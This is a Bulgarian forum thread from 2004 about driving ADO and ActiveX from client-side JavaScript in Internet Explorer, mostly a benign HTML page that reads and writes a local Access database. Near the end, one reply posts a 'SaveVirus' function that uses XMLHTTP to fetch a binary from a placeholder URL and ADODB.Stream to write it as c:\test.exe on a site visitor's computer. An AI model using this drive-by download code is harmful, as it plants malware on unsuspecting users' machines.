Client Side JavaScript и бази данни
21 отговора
692 прегледа
Client Side JavaScript и бази данни
Бях любопитен дали може да се ползва ADO в Client Side скрипт като ActiveX
контрола естесвено
затова си поиграх малко и стана - естествено работи само под IE - на някой може да му е интересно 
скрипта записва и чете записи от една Аксеска базичка - даже понеже
ADODB.Recordset-а си е "signed" - не задава глупави въпроси на потребителя (работи само на клиентския компютър а не върху сървър)
контрола естесвено
затова си поиграх малко и стана - естествено работи само под IE - на някой може да му е интересно
скрипта записва и чете записи от една Аксеска базичка - даже понеже
ADODB.Recordset-а си е "signed" - не задава глупави въпроси на потребителя (работи само на клиентския компютър а не върху сървър)
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<META http-equiv="Content-Type" content="text/html; charset=windows-1251">
<TITLE>Опит с MS Access база данни</TITLE>
<STYLE type="text/css">
<!--
TABLE {
border: 3px solid blue;
}
TD {
border: 1px solid blue;
}
-->
</STYLE>
<SCRIPT LANGUAGE="javascript" type="text/javascript">
<!--
/*
Напишете тук вашия път до MS Acces-ката база
в която имате създадена таблица "Test" с две
полете - ID - AutoNumber и name - Text
*/
var dbrcd="";
var cString = "Driver={Microsoft Access Driver (*.mdb)};DBQ=c:\\wsh\\db\\test.mdb";
var sql = "SELECT * from Test";
/*
Един единствен ADODB.Recordset обект, connection string
и заявка - стори ми се тъпичко всеки път да се
инстанциират като викна
функцията
22.08.2004
*/
function fillTable()
{
dbrcd = new ActiveXObject("ADODB.Recordset");
dbrcd.Open( sql, cString, 1, 3 );
while(!dbrcd.EOF)
{
/*
Циклим до края на ADODB.Recordset-та
*/
var myNewRow=document.all.records.insertRow(document.all.records.rows.length);
/*
лявата клетка на таблицата ..
*/
var firrstCell=myNewRow.insertCell(myNewRow.cells.length);
firrstCell.innerText=dbrcd.Fields("ID").value;
/*
съответно дясната клетка на таблицата ..
*/ var secondCell=myNewRow.insertCell(myNewRow.cells.length);
secondCell.innerText=dbrcd.Fields("name").value;
dbrcd.movenext();
}
}
function insertToBase()
{
dbrcd = new ActiveXObject("ADODB.Recordset");
/*
Хм инетересно че ADODB.Recordset-а не се запазва инстанцииран
нищо че на onload го инстанциираме във fillTable()
*/
var myvalue=document.getElementById("myvalue");
if(myvalue.value)
{
alert(1);
dbrcd.Open( sql, cString, 1, 3 );
dbrcd.AddNew();
alert(2);
dbrcd.Fields("name").value = myvalue.value;
dbrcd.Update();
dbrcd.Close();
window.location.reload(true);
}else{
alert("Нищо не си въвел в полето! Какво ще добавяш ?");
}
}
//-->
</SCRIPT>
</HEAD>
<BODY onload="fillTable();">
<TABLE id="records" align="center">
<CAPTION>
Записано досега в базата
</CAPTION>
<TR>
<TD>ID на записа</TD><TD>Стойност на записа</TD>
</TR>
</TABLE>
<BR>
<TABLE id="device" align="center">
<CAPTION>
Добавяне на запис в базата
</CAPTION>
<TR>
<TD>Текст за добавяне:</TD>
<TD><INPUT type="text" id="myvalue" name="myvalue"></TD>
</TR>
<TR>
<TD colspan="2"><INPUT type="button" value="Кликни за да запишеш в базата" onclick="insertToBase();"></TD>
</TR>
</TABLE>
</BODY>
</HTML>
Бях забравил ..
Бех забравил да махна "дебъгващите" alert-и ето го "готов"
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<META http-equiv="Content-Type" content="text/html; charset=windows-1251">
<TITLE>Опит с MS Access база данни</TITLE>
<STYLE type="text/css">
<!--
TABLE {
border: 3px solid blue;
}
TD {
border: 1px solid blue;
}
-->
</STYLE>
<SCRIPT LANGUAGE="javascript" type="text/javascript">
<!--
/*
Напишете тук вашия път до MS Acces-ката база
в която имате създадена таблица "Test" с две
полете - ID - AutoNumber и name - Text
*/
var dbrcd="";
var cString = "Driver={Microsoft Access Driver (*.mdb)};DBQ=c:\\wsh\\db\\test.mdb";
var sql = "SELECT * from Test";
/*
Един единствен ADODB.Recordset обект, connection string
и заявка - стори ми се тъпичко всеки път да се
инстанциират като викна
функцията
22.08.2004
*/
function fillTable()
{
dbrcd = new ActiveXObject("ADODB.Recordset");
dbrcd.Open( sql, cString, 1, 3 );
while(!dbrcd.EOF)
{
/*
Циклим до края на ADODB.Recordset-та
*/
var myNewRow=document.all.records.insertRow(document.all.records.rows.length);
/*
лявата клетка на таблицата ..
*/
var firrstCell=myNewRow.insertCell(myNewRow.cells.length);
firrstCell.innerText=dbrcd.Fields("ID").value;
/*
съответно дясната клетка на таблицата ..
*/ var secondCell=myNewRow.insertCell(myNewRow.cells.length);
secondCell.innerText=dbrcd.Fields("name").value;
dbrcd.movenext();
}
}
function insertToBase()
{
dbrcd = new ActiveXObject("ADODB.Recordset");
/*
Хм инетересно че ADODB.Recordset-а не се запазва инстанцииран
нищо че на onload го инстанциираме във fillTable()
*/
var myvalue=document.getElementById("myvalue");
if(myvalue.value)
{
dbrcd.Open( sql, cString, 1, 3 );
dbrcd.AddNew();
dbrcd.Fields("name").value = myvalue.value;
dbrcd.Update();
dbrcd.Close();
window.location.reload(true);
}else{
alert("Нищо не си въвел в полето! Какво ще добавяш ?");
}
}
//-->
</SCRIPT>
</HEAD>
<BODY onload="fillTable();">
<TABLE id="records" align="center">
<CAPTION>
Записано досега в базата
</CAPTION>
<TR>
<TD>ID на записа</TD><TD>Стойност на записа</TD>
</TR>
</TABLE>
<BR>
<TABLE id="device" align="center">
<CAPTION>
Добавяне на запис в базата
</CAPTION>
<TR>
<TD>Текст за добавяне:</TD>
<TD><INPUT type="text" id="myvalue" name="myvalue"></TD>
</TR>
<TR>
<TD colspan="2"><INPUT type="button" value="Кликни за да запишеш в базата" onclick="insertToBase();"></TD>
</TR>
</TABLE>
</BODY>
</HTML>
Предбазливостта ми е основателна.
Аз не давам на IE да вижда Нета. Точно заради тези АктивХъ. Чрез тях той може да върши всичко на компа ми. Ето и ти даваш пример.
Макар, че айудушките сайтове дават достатъчно примери. "сложи си ласт ИЕ и му пусни ДиректХъ, тогава ела." А това е еквивалентно на: "Събуй гащите и се намажи с вазелин"
Другите браузъри са браузъри. Те по идея не могат да служат за шел.
Макар, че айудушките сайтове дават достатъчно примери. "сложи си ласт ИЕ и му пусни ДиректХъ, тогава ела." А това е еквивалентно на: "Събуй гащите и се намажи с вазелин"
Другите браузъри са браузъри. Те по идея не могат да служат за шел.
в отговор на Caмия Инжинep
#18
Абсолютно - ADODB.Stream- много е як
Чрез ADODB.Stream обекта например можем да смъкнем някъв фаил на локалния диск на "жертвата" (респективно вирус) - и да си го стартираме - както ни се разхожда из саита - за интересуващите се може и примерче да сглобя - естевено използването на примера си е на тяхна отговорност .. - аз бих го направил с учебна цел ..
за какво ползвам ИЕ
IE е много мощно нещо, но е идиотизъм да се ползва за браузър. Затова му слагам неверни прокси - адреси, да съм сигурен, че ще работи само локално.
Чрез една 40-тина кила програмка IEEDIT той става на тъп, но лесен WYSIWYG редактор за свалени страници - делвам рекламата и остава само инфото.
Убийствено добър преобразувател на кодировки е - при Сейв може да избереш в каква кодировка да сейвнеш.
=====================================
Ако видя надпис: "този сайт работи само с IE" - аз си го чета "Дирим лековерни наивници". Бях писал на един сайт за уолпейпъри: Абе, копелета, какво ви интересува с какъв браузър си гледам НЕТ-а, след като вие предлагате тапети? - ама не ми отговориха.
още от мен за IE:
[линк]
.
Чрез една 40-тина кила програмка IEEDIT той става на тъп, но лесен WYSIWYG редактор за свалени страници - делвам рекламата и остава само инфото.
Убийствено добър преобразувател на кодировки е - при Сейв може да избереш в каква кодировка да сейвнеш.
=====================================
Ако видя надпис: "този сайт работи само с IE" - аз си го чета "Дирим лековерни наивници". Бях писал на един сайт за уолпейпъри: Абе, копелета, какво ви интересува с какъв браузър си гледам НЕТ-а, след като вие предлагате тапети? - ама не ми отговориха.
още от мен за IE:
[линк]
.
в отговор на Caмия Инжинep
#20
Re: за какво ползвам ИЕ
Хехе ето една примерна функциика ..
function SaveVirus()
{
/*
Обявяваме си няколко константи необходими за ADODB.Stream
обекта.
*/
var adTypeBinary=new Number(1);
var adSaveCreateOverwrite=new Number(2);
var adModeReadWrite=new Number(3);
/*
Създаваме Microsoft.XMLHTTP - обект - чрез него ще получим
бинарния фаил с вируса ...
*/
var xmlHTTP=new ActiveXObject("Microsoft.XMLHTTP");
/*
Отваряме конекция към URL-ла с вируса ..
*/
xmlHTTP.open( "GET" , "url-a-deto-e-virusa-zaedno-s-[линк]" , false );
xmlHTTP.send();
/*
Тук получаваме бинарния фаил с вируса ..
*/
content=xmlHTTP.responseBody;
var oStr=new ActiveXObject("ADODB.Stream");
oStr.Mode = adModeReadWrite;
oStr.Type = adTypeBinary;
oStr.Open();
oStr.Write(contents);
/*
Тук го записваме върху клиентския компютър -
"C:\test.exe :)
*/
oStr.SaveToFile("c:\\test.exe", adSaveCreateOverwrite);
}